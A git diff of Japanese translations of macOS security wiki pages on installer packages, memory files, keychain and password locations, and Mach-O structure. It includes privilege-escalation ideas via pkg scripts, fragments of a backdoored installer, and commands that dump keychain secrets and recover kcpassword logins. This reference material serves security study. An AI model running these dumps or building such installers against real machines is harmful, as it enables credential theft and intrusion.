パッケージファイル自体は、ターゲットコンピュータにインストールされる**ファイルとディレクトリの階層を保持するアーカイブ**です。また、インストール前後にタスクを実行するための**スクリプト**を含むこともでき、設定ファイルのセットアップやソフトウェアの古いバージョンのクリーンアップなどを行います。 パッケージファイル自体は、ターゲットコンピュータにインストールされる**ファイルとディレクトリの階層を保持するアーカイブ**です。また、インストール前後にタスクを実行するための**スクリプト**を含むこともでき、設定ファイルのセットアップや古いバージョンのソフトウェアのクリーンアップなどを行います。
### 階層 ### 階層
@ -36,7 +36,7 @@ cpio -i < Scripts
## DMG基本情報 ## DMG基本情報
DMGファイル、またはAppleディスクイメージは、AppleのmacOSでディスクイメージに使用されるファイル形式です。DMGファイルは本質的に**マウント可能なディスクイメージ**独自のファイルシステムを含むであり、通常は圧縮され、時には暗号化された生のブロックデータを含んでいます。DMGファイルを開くと、macOSはそれを**物理ディスクのようにマウント**し、その内容にアクセスできるようにします。 DMGファイル、またはApple Disk Imagesは、AppleのmacOSでディスクイメージに使用されるファイル形式です。DMGファイルは本質的に**マウント可能なディスクイメージ**独自のファイルシステムを含むであり、通常は圧縮され、時には暗号化された生のブロックデータを含んでいます。DMGファイルを開くと、macOSはそれを**物理ディスクのようにマウント**し、その内容にアクセスできるようにします。
> [!CAUTION] > [!CAUTION]
> **`.dmg`**インストーラーは**非常に多くの形式**をサポートしているため、過去には脆弱性を含むものが悪用されて**カーネルコード実行**を取得されることがありました。 > **`.dmg`**インストーラーは**非常に多くの形式**をサポートしているため、過去には脆弱性を含むものが悪用されて**カーネルコード実行**を取得されることがありました。
@ -47,9 +47,9 @@ DMGファイル、またはAppleディスクイメージは、AppleのmacOSで
DMGファイルの階層は、内容に基づいて異なる場合があります。ただし、アプリケーションDMGの場合、通常は次の構造に従います DMGファイルの階層は、内容に基づいて異なる場合があります。ただし、アプリケーションDMGの場合、通常は次の構造に従います
- トップレベル:これはディスクイメージのルートです。通常、アプリケーションと、場合によってはアプリケーションフォルダへのリンクが含まれています。 - トップレベル:これはディスクイメージのルートです。通常、アプリケーションと、場合によってはApplicationsフォルダへのリンクが含まれています。
- アプリケーション(.appこれは実際のアプリケーションです。macOSでは、アプリケーションは通常、アプリケーションを構成する多くの個別のファイルとフォルダを含むパッケージです。 - アプリケーション(.appこれは実際のアプリケーションです。macOSでは、アプリケーションは通常、アプリケーションを構成する多くの個別のファイルとフォルダを含むパッケージです。
- アプリケーションリンクこれはmacOSのアプリケーションフォルダへのショートカットです。これにより、アプリケーションを簡単にインストールできるようになります。このショートカットに.appファイルをドラッグすることで、アプリをインストールできます。 - ApplicationsリンクこれはmacOSのApplicationsフォルダへのショートカットです。これにより、アプリケーションを簡単にインストールできるようになります。このショートカットに.appファイルをドラッグすることで、アプリをインストールできます。
## pkg悪用による特権昇格 ## pkg悪用による特権昇格
@ -61,7 +61,7 @@ DMGファイルの階層は、内容に基づいて異なる場合がありま
### AuthorizationExecuteWithPrivileges ### AuthorizationExecuteWithPrivileges
これは、いくつかのインストーラーやアップデーターが**rootとして何かを実行するために呼び出す**[公開関数](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg)です。この関数は、**実行する**ための**ファイルの** **パス**をパラメータとして受け取りますが、攻撃者がこのファイルを**変更**できる場合、彼は**特権を昇格させるために**rootでの実行を**悪用**できるようになります。 これは、いくつかのインストーラーやアップデーターが**rootとして何かを実行するために呼び出す**[公開関数](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg)です。この関数は、**実行する**ための**ファイル**の**パス**をパラメータとして受け取りますが、攻撃者がこのファイルを**変更**できれば、特権を**昇格**させるためにrootでの実行を**悪用**できるようになります。
```bash ```bash
# Breakpoint in the function to check wich file is loaded # Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges (lldb) b AuthorizationExecuteWithPrivileges
@ -79,7 +79,7 @@ For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](htt
### 空のペイロード ### 空のペイロード
実際のペイロードはなく、スクリプト内のマルウェアを除いて**プレインストールおよびポストインストールスクリプト**を持つ **`.pkg`** ファイルを生成することが可能です。 実際のペイロードはなく、スクリプト内のマルウェアを除いて **プレインストールおよびポストインストールスクリプト** を持つ **`.pkg`** ファイルを生成することが可能です。
### 配布xml内のJS ### 配布xml内のJS
@ -89,7 +89,7 @@ For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](htt
### バックドア付きインストーラー ### バックドア付きインストーラー
dist.xml内にスクリプトとJSコードを使用した悪意のあるインストーラー dist.xml 内のスクリプトとJSコードを使用した悪意のあるインストーラー
```bash ```bash
# Package structure # Package structure
mkdir -p pkgroot/root/Applications/MyApp mkdir -p pkgroot/root/Applications/MyApp
@ -152,9 +152,9 @@ productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pk
``` ```
## 参考文献 ## 参考文献
- [**DEF CON 27 - Pkgsの展開 macOSインストーラーパッケージと一般的なセキュリティの欠陥の内部を見てみる**](https://www.youtube.com/watch?v=iASSG0_zobQ) - [**DEF CON 27 - Pkgsの展開 Macosインストーラーパッケージと一般的なセキュリティの欠陥の内部を見てみる**](https://www.youtube.com/watch?v=iASSG0_zobQ)
- [**OBTS v4.0: "macOSインストーラーのワイルドな世界" - トニー・ランバート**](https://www.youtube.com/watch?v=Eow5uNHtmIg) - [**OBTS v4.0: "macOSインストーラーのワイルドな世界" - トニー・ランバート**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
- [**DEF CON 27 - Pkgsの展開 macOSインストーラーパッケージの内部を見てみる**](https://www.youtube.com/watch?v=kCXhIYtODBg) - [**DEF CON 27 - Pkgsの展開 MacOSインストーラーパッケージの内部を見てみる**](https://www.youtube.com/watch?v=kCXhIYtODBg)
- [https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages](https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages) - [https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages](https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -8,11 +8,11 @@
スワップファイル(例:`/private/var/vm/swapfile0`)は、**物理メモリが満杯のときのキャッシュとして機能します**。物理メモリに空きがなくなると、そのデータはスワップファイルに転送され、必要に応じて物理メモリに戻されます。スワップファイルは複数存在する可能性があり、名前はswapfile0、swapfile1などとなります。 スワップファイル(例:`/private/var/vm/swapfile0`)は、**物理メモリが満杯のときのキャッシュとして機能します**。物理メモリに空きがなくなると、そのデータはスワップファイルに転送され、必要に応じて物理メモリに戻されます。スワップファイルは複数存在する可能性があり、名前はswapfile0、swapfile1などとなります。
### ハイバネートイメージ ### ハイバネートイメージ
`/private/var/vm/sleepimage`にあるファイルは、**ハイバネーションモード**の際に重要です。**OS Xがハイバネートするとき、メモリのデータはこのファイルに保存されます**。コンピュータが復帰すると、システムはこのファイルからメモリデータを取得し、ユーザーは前回の作業を続けることができます。 `/private/var/vm/sleepimage`にあるファイルは、**ハイバネーションモード**の際に重要です。**OS Xがハイバネートするとき、メモリのデータはこのファイルに保存されます**。コンピュータが復帰すると、システムはこのファイルからメモリデータを取得し、ユーザーは前回の作業を続けることができます。
現代のMacOSシステムでは、このファイルは通常セキュリティ上の理由から暗号化されており、復元が難しいことに注意が必要です。 現代のMacOSシステムでは、このファイルは通常セキュリティ上の理由から暗号化されており、復元が難しいことに注意が必要です。
- sleepimageの暗号化が有効かどうかを確認するには、`sysctl vm.swapusage`コマンドを実行できます。これにより、ファイルが暗号化されているかどうかが表示されます。 - sleepimageの暗号化が有効かどうかを確認するには、`sysctl vm.swapusage`コマンドを実行できます。これにより、ファイルが暗号化されているかどうかが表示されます。
@ -24,7 +24,7 @@ MacOSシステムにおけるもう一つの重要なメモリ関連ファイル
MacOSマシンのメモリをダンプするには、[**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)を使用できます。 MacOSマシンのメモリをダンプするには、[**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)を使用できます。
**注意**以下の手順は、IntelアーキテクチャのMacにのみ適用されます。このツールは現在アーカイブされており、最後のリリースは2017年でした。以下の手順でダウンロードしたバイナリは、2017年にはApple Siliconが存在しなかったため、Intelチップを対象としています。arm64アーキテクチャ用にバイナリをコンパイルすることが可能かもしれませんが、自分で試す必要があります。 **注意**以下の手順は、IntelアーキテクチャのMacにのみ適用されます。このツールは現在アーカイブされており、最後のリリースは2017年でした。以下の手順でダウンロードしたバイナリはIntelチップを対象としており、2017年にはApple Siliconは存在していませんでした。arm64アーキテクチャ用にバイナリをコンパイルすることは可能かもしれませんが、自分で試す必要があります。
```bash ```bash
#Dump raw format #Dump raw format
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem

View File

@ -21,9 +21,9 @@ sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex
### /etc/master.passwd ### /etc/master.passwd
このファイルは **単一ユーザーモード** でシステムが実行されているときに **のみ使用されます**したがって、あまり頻繁にはありません)。 このファイルは **単一ユーザーモード** でシステムが実行されているときに **のみ使用されます**そのため、あまり頻繁にはありません)。
### キーチェーンダンプ ### Keychain Dump
セキュリティバイナリを使用して **復号化されたパスワードをダンプ** する際、いくつかのプロンプトがユーザーにこの操作を許可するように求めます。 セキュリティバイナリを使用して **復号化されたパスワードをダンプ** する際、いくつかのプロンプトがユーザーにこの操作を許可するように求めます。
```bash ```bash
@ -41,13 +41,13 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
### Keychaindumpの概要 ### Keychaindumpの概要
**keychaindump**という名前のツールは、macOSのキーチェーンからパスワードを抽出するために開発されましたが、Big Surのような新しいmacOSバージョンでは制限があります [discussion](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) に示されているように。**keychaindump**の使用には、攻撃者がアクセスを得て**root**権限を昇格させる必要があります。このツールは、ユーザーのログイン時にキーチェーンがデフォルトでロック解除されるという事実を利用しており、アプリケーションがユーザーのパスワードを繰り返し要求することなくアクセスできるようにしています。しかし、ユーザーが使用後にキーチェーンをロックすることを選択した場合、**keychaindump**は無効になります。 **keychaindump**という名前のツールは、macOSのキーチェーンからパスワードを抽出するために開発されましたが、Big Surのような新しいmacOSバージョンでは制限があります。**keychaindump**の使用には、攻撃者がアクセスを得て**root**権限を昇格させる必要があります。このツールは、ユーザーのログイン時にキーチェーンがデフォルトでロック解除されるという事実を利用しており、アプリケーションがユーザーのパスワードを繰り返し要求することなくアクセスできるようにしています。ただし、ユーザーが使用後にキーチェーンをロックすることを選択した場合、**keychaindump**は無効になります。
**Keychaindump**は、Appleによって認証および暗号操作のためのデーモンとして説明されている特定のプロセス**securityd**をターゲットにして動作します。これはキーチェーンにアクセスするために重要です。抽出プロセスは、ユーザーのログインパスワードから派生した**マスターキー**を特定することを含みます。このキーはキーチェーンファイルを読み取るために不可欠です。**マスターキー**を見つけるために、**keychaindump**は`vmmap`コマンドを使用して**securityd**のメモリヒープをスキャンし、`MALLOC_TINY`としてフラグ付けされた領域内の潜在的なキーを探します。これらのメモリ位置を検査するために使用されるコマンドは次のとおりです: **Keychaindump**は、Appleによって認証および暗号操作のためのデーモンとして説明されている特定のプロセス**securityd**をターゲットにして動作します。抽出プロセスは、ユーザーのログインパスワードから派生した**マスターキー**を特定することを含みます。このキーはキーチェーンファイルを読み取るために不可欠です。**マスターキー**を見つけるために、**keychaindump**は`vmmap`コマンドを使用して**securityd**のメモリヒープをスキャンし、`MALLOC_TINY`としてフラグ付けされた領域内の潜在的なキーを探します。これらのメモリ位置を検査するために使用されるコマンドは次のとおりです:
```bash ```bash
sudo vmmap <securityd PID> | grep MALLOC_TINY sudo vmmap <securityd PID> | grep MALLOC_TINY
``` ```
潜在的なマスターキーを特定した後、**keychaindump**はヒープ内で特定のパターン(`0x0000000000000018`)を検索し、マスターキーの候補を示します。このキーを利用するには、**keychaindump**のソースコードに記載されているように、さらなる手順としてデオブフスケーションが必要です。この分野に焦点を当てるアナリストは、キーを復号化するための重要なデータが**securityd**プロセスのメモリ内に保存されていることに注意する必要があります。**keychaindump**を実行するためのコマンドの例は次のとおりです: 潜在的なマスターキーを特定した後、**keychaindump**はヒープ内で特定のパターン(`0x0000000000000018`)を検索し、マスターキーの候補を示します。このキーを利用するためには、**keychaindump**のソースコードに記載されているように、さらなる手順としてデオブフスケーションが必要です。この分野に焦点を当てるアナリストは、キーを復号化するための重要なデータが**securityd**プロセスのメモリ内に保存されていることに注意する必要があります。**keychaindump**を実行するためのコマンドの例は次のとおりです:
```bash ```bash
sudo ./keychaindump sudo ./keychaindump
``` ```
@ -112,7 +112,7 @@ python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library
**kcpassword**ファイルは、**ユーザーのログインパスワード**を保持するファイルですが、システムの所有者が**自動ログイン**を**有効にしている**場合のみです。したがって、ユーザーはパスワードを求められることなく自動的にログインされます(これはあまり安全ではありません)。 **kcpassword**ファイルは、**ユーザーのログインパスワード**を保持するファイルですが、システムの所有者が**自動ログイン**を**有効にしている**場合のみです。したがって、ユーザーはパスワードを求められることなく自動的にログインされます(これはあまり安全ではありません)。
パスワードはファイル**`/etc/kcpassword`**に**`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**というキーでXORされて保存されています。ユーザーのパスワードがキーよりも長い場合、キーは再利用されます。\ パスワードはファイル**`/etc/kcpassword`**に、キー**`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**でXORされて保存されています。ユーザーのパスワードがキーよりも長い場合、キーは再利用されます。\
これにより、パスワードは比較的簡単に復元できます。たとえば、[**このスクリプト**](https://gist.github.com/opshope/32f65875d45215c3677d)を使用することができます。 これにより、パスワードは比較的簡単に復元できます。たとえば、[**このスクリプト**](https://gist.github.com/opshope/32f65875d45215c3677d)を使用することができます。
## データベース内の興味深い情報 ## データベース内の興味深い情報
@ -193,7 +193,7 @@ macOSでは、cliツール**`defaults`**を使用して**Preferencesファイル
通知の主なデーモンは **`/usr/sbin/notifyd`** です。通知を受け取るためには、クライアントは `com.apple.system.notification_center` Machポートを通じて登録する必要があります`sudo lsmp -p <pid notifyd>` で確認できます)。デーモンはファイル `/etc/notify.conf` で設定可能です。 通知の主なデーモンは **`/usr/sbin/notifyd`** です。通知を受け取るためには、クライアントは `com.apple.system.notification_center` Machポートを通じて登録する必要があります`sudo lsmp -p <pid notifyd>` で確認できます)。デーモンはファイル `/etc/notify.conf` で設定可能です。
通知に使用される名前はユニークな逆DNS表記であり、通知がそのつに送信されると、それを処理できると示したクライアントが受け取ります。 通知に使用される名前はユニークな逆DNS表記であり、通知がそのうちの1つに送信されると、それを処理できると示したクライアントが受け取ります。
現在のステータスをダンプしすべての名前を確認する、notifydプロセスにSIGUSR2信号を送信し、生成されたファイル `/var/run/notifyd_<pid>.status` を読み取ることが可能です。 現在のステータスをダンプしすべての名前を確認する、notifydプロセスにSIGUSR2信号を送信し、生成されたファイル `/var/run/notifyd_<pid>.status` を読み取ることが可能です。
```bash ```bash
@ -218,11 +218,11 @@ common: com.apple.security.octagon.joined-with-bottle
### Apple Push Notifications (APN) ### Apple Push Notifications (APN)
この場合、アプリケーションは**トピック**に登録できます。クライアントは**`apsd`**を介してAppleのサーバーに連絡し、トークンを生成します。\ この場合、アプリケーションは**トピック**に登録できます。クライアントは**`apsd`**を介してAppleのサーバーに連絡し、トークンを生成します。\
その後、プロバイダーもトークンを生成し、Appleのサーバーに接続してクライアントにメッセージを送信できるようになります。これらのメッセージは**`apsd`**によってローカルで受信され、通知が待機しているアプリケーションに中継されます。 その後、プロバイダーもトークンを生成し、Appleのサーバーに接続してクライアントにメッセージを送信できるようになります。これらのメッセージは**`apsd`**によってローカルで受信され、通知が待機しているアプリケーションに中継されます。
設定は`/Library/Preferences/com.apple.apsd.plist`にあります。 設定は`/Library/Preferences/com.apple.apsd.plist`にあります。
macOSのメッセージのローカルデータベースは`/Library/Application\ Support/ApplePushService/aps.db`にあり、iOSでは`/var/mobile/Library/ApplePushService`にあります。3つのテーブルがあります`incoming_messages``outgoing_messages`、および`channel` macOSのメッセージのローカルデータベースは`/Library/Application\ Support/ApplePushService/aps.db`にあり、iOSでは`/var/mobile/Library/ApplePushService`にあります。これには3つのテーブルがあります`incoming_messages``outgoing_messages`、および`channel`
```bash ```bash
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
``` ```
@ -235,7 +235,7 @@ sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
これらはユーザーが画面で見るべき通知です: これらはユーザーが画面で見るべき通知です:
- **`CFUserNotification`**: このAPIは、メッセージを表示するポップアップを画面に表示する方法を提供します。 - **`CFUserNotification`**: このAPIは、メッセージを表示するポップアップを画面に表示する方法を提供します。
- **掲示板**: これはiOSでバナーを表示し、消え、通知センターに保存されます。 - **掲示板**: これはiOSで消えるバナーを表示し、通知センターに保存されます。
- **`NSUserNotificationCenter`**: これはMacOSのiOS掲示板です。通知のデータベースは`/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`にあります。 - **`NSUserNotificationCenter`**: これはMacOSのiOS掲示板です。通知のデータベースは`/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`にあります。
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -72,7 +72,7 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
## **Mach-Oヘッダー** ## **Mach-Oヘッダー**
ヘッダーには、Mach-Oファイルとして識別するためのマジックバイトや、ターゲットアーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。次のコマンドで見つけることができます `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` ヘッダーには、ファイルをMach-Oファイルとして識別するためのマジックバイトや、ターゲットアーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。これを見つけるには `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
```c ```c
#define MH_MAGIC 0xfeedface /* the mach magic number */ #define MH_MAGIC 0xfeedface /* the mach magic number */
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */ #define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
@ -101,9 +101,9 @@ uint32_t reserved; /* reserved */
``` ```
### Mach-Oファイルタイプ ### Mach-Oファイルタイプ
さまざまなファイルタイプがあり、[**ソースコードの例はこちら**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL_HEADERS/mach-o/loader.h)で定義されています。最も重要なものは次のとおりです: 異なるファイルタイプがあり、[**ソースコードの例はこちら**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL_HEADERS/mach-o/loader.h)で定義されています。最も重要なものは次のとおりです:
- `MH_OBJECT`: 再配置可能オブジェクトファイル(コンパイルの中間生成物、まだ実行可能ではない)。 - `MH_OBJECT`: 再配置可能オブジェクトファイル(コンパイルの中間生成物、まだ実行可能ではない)。
- `MH_EXECUTE`: 実行可能ファイル。 - `MH_EXECUTE`: 実行可能ファイル。
- `MH_FVMLIB`: 固定VMライブラリファイル。 - `MH_FVMLIB`: 固定VMライブラリファイル。
- `MH_CORE`: コードダンプ - `MH_CORE`: コードダンプ
@ -138,14 +138,14 @@ Or using [Mach-O View](https://sourceforge.net/projects/machoview/):
- `MH_NO_REEXPORTED_DYLIBS`: ライブラリは LC_REEXPORT コマンドではありません - `MH_NO_REEXPORTED_DYLIBS`: ライブラリは LC_REEXPORT コマンドではありません
- `MH_PIE`: 位置独立実行可能ファイル - `MH_PIE`: 位置独立実行可能ファイル
- `MH_HAS_TLV_DESCRIPTORS`: スレッドローカル変数を持つセクションがあります - `MH_HAS_TLV_DESCRIPTORS`: スレッドローカル変数を持つセクションがあります
- `MH_NO_HEAP_EXECUTION`: ヒープ/データページの実行はありません - `MH_NO_HEAP_EXECUTION`: ヒープ/データページの実行なし
- `MH_HAS_OBJC`: バイナリには oBject-C セクションがあります - `MH_HAS_OBJC`: バイナリには oBject-C セクションがあります
- `MH_SIM_SUPPORT`: シミュレータサポート - `MH_SIM_SUPPORT`: シミュレータサポート
- `MH_DYLIB_IN_CACHE`: 共有ライブラリキャッシュ内の dylibs/frameworks に使用されます。 - `MH_DYLIB_IN_CACHE`: 共有ライブラリキャッシュ内の dylibs/frameworks に使用されます。
## **Mach-O ロードコマンド** ## **Mach-O ロードコマンド**
**メモリ内のファイルのレイアウト**はここで指定されており、**シンボルテーブルの位置**、実行開始時のメインスレッドのコンテキスト、および必要な**共有ライブラリ**が詳細に説明されています。動的ローダー **(dyld)** に対して、バイナリのメモリへのロードプロセスに関する指示が提供されます。 **メモリ内のファイルのレイアウト**はここで指定され、**シンボルテーブルの位置**、実行開始時のメインスレッドのコンテキスト、および必要な**共有ライブラリ**が詳細に説明されています。動的ローダー **(dyld)** に対して、バイナリのメモリへのロードプロセスに関する指示が提供されます。
**load_command** 構造体を使用し、前述の **`loader.h`** で定義されています: **load_command** 構造体を使用し、前述の **`loader.h`** で定義されています:
```objectivec ```objectivec
@ -161,11 +161,11 @@ uint32_t cmdsize; /* total size of command in bytes */
> [!TIP] > [!TIP]
> 基本的に、このタイプのロードコマンドは、バイナリが実行されるときに**データセクションに示されたオフセット**に従って、**\_\_TEXT**(実行可能コード)**と\_\_DATA**(プロセスのデータ)**セグメントをどのようにロードするかを定義します**。 > 基本的に、このタイプのロードコマンドは、バイナリが実行されるときに**データセクションに示されたオフセット**に従って、**\_\_TEXT**(実行可能コード)**と\_\_DATA**(プロセスのデータ)**セグメントをどのようにロードするかを定義します**。
これらのコマンドは、実行時にプロセスの**仮想メモリ空間**に**マッピング**される**セグメント**を**定義**します。 これらのコマンドは、プロセスが実行されるときに**仮想メモリ空間**に**マッピング**される**セグメント**を**定義**します。
**\_\_TEXT**セグメントのように、プログラムの実行可能コードを保持する**異なるタイプ**のセグメントがあり、**\_\_DATA**セグメントはプロセスによって使用されるデータを含ます。これらの**セグメントはMach-Oファイルのデータセクションに位置しています**。 **\_\_TEXT**セグメントのように、プログラムの実行可能コードを保持する**異なるタイプ**のセグメントがあり、プロセスによって使用されるデータを含む**\_\_DATA**セグメントがあります。これらの**セグメントはMach-Oファイルのデータセクションに位置しています**。
**各セグメント**はさらに複数の**セクション**に**分割**できます。**ロードコマンド構造**には、各セグメント内の**これらのセクション**に関する**情報**が含まれています。 **各セグメント**はさらに**複数のセクション**に**分割**できます。**ロードコマンド構造**には、各セグメント内の**これらのセクション**に関する**情報**が含まれています。
ヘッダーの最初には**セグメントヘッダー**があります: ヘッダーの最初には**セグメントヘッダー**があります:
@ -188,7 +188,7 @@ int32_t initprot; /* initial VM protection */
<figure><img src="../../../images/image (1126).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1126).png" alt=""><figcaption></figcaption></figure>
このヘッダーは、**その後に表示されるセクションの数を定義します** このヘッダーは、**その後に表示されるヘッダーのセクションの数を定義します**
```c ```c
struct section_64 { /* for 64-bit architectures */ struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */ char sectname[16]; /* name of this section */
@ -209,7 +209,7 @@ uint32_t reserved3; /* reserved */
<figure><img src="../../../images/image (1108).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1108).png" alt=""><figcaption></figcaption></figure>
**セクションオフセット** (0x37DC) + **アーキテクチャが始まるオフセット**を加えると、この場合 `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC` **セクションオフセット** (0x37DC) **アーキテクチャが始まるオフセット**を加えると、この場合 `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../images/image (701).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (701).png" alt=""><figcaption></figcaption></figure>
@ -217,26 +217,26 @@ uint32_t reserved3; /* reserved */
```bash ```bash
otool -lv /bin/ls otool -lv /bin/ls
``` ```
共通のセグメントはこのコマンドによって読み込まれます: 共通のセグメントはこのコマンドによってロードされます:
- **`__PAGEZERO`:** カーネルに**アドレスゼロをマップする**よう指示し、**読み取り、書き込み、または実行できない**ようにします。構造体内のmaxprotおよびminprot変数は、**このページに読み書き実行権がない**ことを示すためにゼロに設定されます。 - **`__PAGEZERO`:** カーネルに**アドレスゼロをマップする**よう指示し、**読み取り、書き込み、実行できない**ようにします。構造体内のmaxprotおよびminprot変数は、このページに**読み書き実行権がない**ことを示すためにゼロに設定されます。
- この割り当ては**NULLポインタデリファレンス脆弱性を軽減する**ために重要です。これは、XNUがハードページゼロを強制し、メモリの最初のページ最初のページのみがアクセス不可であることを保証するためですi386を除く。バイナリは、最初の4kをカバーする小さな\_\_PAGEZEROを作成し、残りの32ビットメモリをユーザーモードとカーネルモードの両方でアクセス可能にすることで、この要件を満たすことができます。 - この割り当ては**NULLポインタデリファレンス脆弱性を軽減する**ために重要です。これは、XNUがハードページゼロを強制し、メモリの最初のページ最初のページのみがアクセス不可であることを保証するためですi386を除く。バイナリは、最初の4kをカバーする小さな\_\_PAGEZEROを作成し、残りの32ビットメモリをユーザーモードとカーネルモードの両方でアクセス可能にすることで、この要件を満たすことができます。
- **`__TEXT`**: **実行可能な** **コード**を含み、**読み取り**および**実行**権限(書き込み不可)を持ちます。 このセグメントの一般的なセクション: - **`__TEXT`**: **実行可能な** **コード**を含み、**読み取り**および**実行**権限(書き込み不可)を持ちます。 このセグメントの一般的なセクション:
- `__text`: コンパイルされたバイナリコード - `__text`: コンパイルされたバイナリコード
- `__const`: 定数データ(読み取り専用) - `__const`: 定数データ(読み取り専用)
- `__[c/u/os_log]string`: C、Unicodeまたはosログの文字列定数 - `__ [c/u/os_log]string`: C、Unicodeまたはosログの文字列定数
- `__stubs`および`__stubs_helper`: 動的ライブラリの読み込みプロセスに関与 - `__stubs`および`__stubs_helper`: 動的ライブラリのロードプロセスに関与
- `__unwind_info`: スタックアンワインドデータ。 - `__unwind_info`: スタックアンワインドデータ。
- これらのすべてのコンテンツは署名されていますが、実行可能としてもマークされています(文字列専用セクションのように、この特権を必ずしも必要としないセクションの悪用の選択肢を増やします)。 - これらのすべてのコンテンツは署名されていますが、実行可能としてもマークされています(文字列専用セクションのように、この特権を必ずしも必要としないセクションの悪用のためのオプションが増えます)。
- **`__DATA`**: **読み取り可能**および**書き込み可能**なデータを含みます(実行不可)。 - **`__DATA`**: **読み取り可能**および**書き込み可能**なデータを含みます(実行不可)。
- `__got:` グローバルオフセットテーブル - `__got:` グローバルオフセットテーブル
- `__nl_symbol_ptr`: 非遅延(ロード時にバインド)シンボルポインタ - `__nl_symbol_ptr`: 非遅延(ロード時にバインド)シンボルポインタ
- `__la_symbol_ptr`: 遅延(使用時にバインド)シンボルポインタ - `__la_symbol_ptr`: 遅延(使用時にバインド)シンボルポインタ
- `__const`: 読み取り専用データであるべき(実際にはそうではない) - `__const`: 読み取り専用データであるべき(実際にはそうではない)
- `__cfstring`: CoreFoundation文字列 - `__cfstring`: CoreFoundation文字列
- `__data`: 初期化されたグローバル変数 - `__data`: グローバル変数(初期化済み)
- `__bss`: 初期化されていない静的変数 - `__bss`: 静的変数(未初期化)
- `__objc_*` (\_\_objc_classlist, \_\_objc_protolistなど): Objective-Cランタイムによって使用される情報 - `__objc_*`\_\_objc_classlist、\_\_objc_protolistなど: Objective-Cランタイムによって使用される情報
- **`__DATA_CONST`**: \_\_DATA.\_\_constは定数であることが保証されていません書き込み権限、他のポインタやGOTも同様です。このセクションは、`mprotect`を使用して`__const`、いくつかの初期化子、およびGOTテーブル解決後を**読み取り専用**にします。 - **`__DATA_CONST`**: \_\_DATA.\_\_constは定数であることが保証されていません書き込み権限、他のポインタやGOTも同様です。このセクションは、`mprotect`を使用して`__const`、いくつかの初期化子、およびGOTテーブル解決後を**読み取り専用**にします。
- **`__LINKEDIT`**: リンカdyld用の情報を含み、シンボル、文字列、および再配置テーブルのエントリなどが含まれます。これは、`__TEXT`または`__DATA`に含まれないコンテンツのための一般的なコンテナであり、その内容は他のロードコマンドで説明されています。 - **`__LINKEDIT`**: リンカdyld用の情報を含み、シンボル、文字列、および再配置テーブルのエントリなどが含まれます。これは、`__TEXT`または`__DATA`に含まれないコンテンツのための一般的なコンテナであり、その内容は他のロードコマンドで説明されています。
- dyld情報: リベース、非遅延/遅延/弱バインディングオペコードおよびエクスポート情報 - dyld情報: リベース、非遅延/遅延/弱バインディングオペコードおよびエクスポート情報
@ -286,7 +286,7 @@ cpsr 0x00000000
``` ```
### **`LC_CODE_SIGNATURE`** ### **`LC_CODE_SIGNATURE`**
Mach-Oファイルの**コード署名**に関する情報を含みます。これは**署名ブロブ**を指す**オフセット**のみを含みます。通常、これはファイルの非常に最後にあります。\ Mach-Oファイルの**コード署名**に関する情報を含みます。これは通常、**署名ブロブ**を指す**オフセット**のみを含みます。これは通常、ファイルの非常に最後にあります。\
ただし、このセクションに関する情報は[**このブログ投稿**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)やこの[**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)で見つけることができます。 ただし、このセクションに関する情報は[**このブログ投稿**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)やこの[**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)で見つけることができます。
### **`LC_ENCRYPTION_INFO[_64]`** ### **`LC_ENCRYPTION_INFO[_64]`**
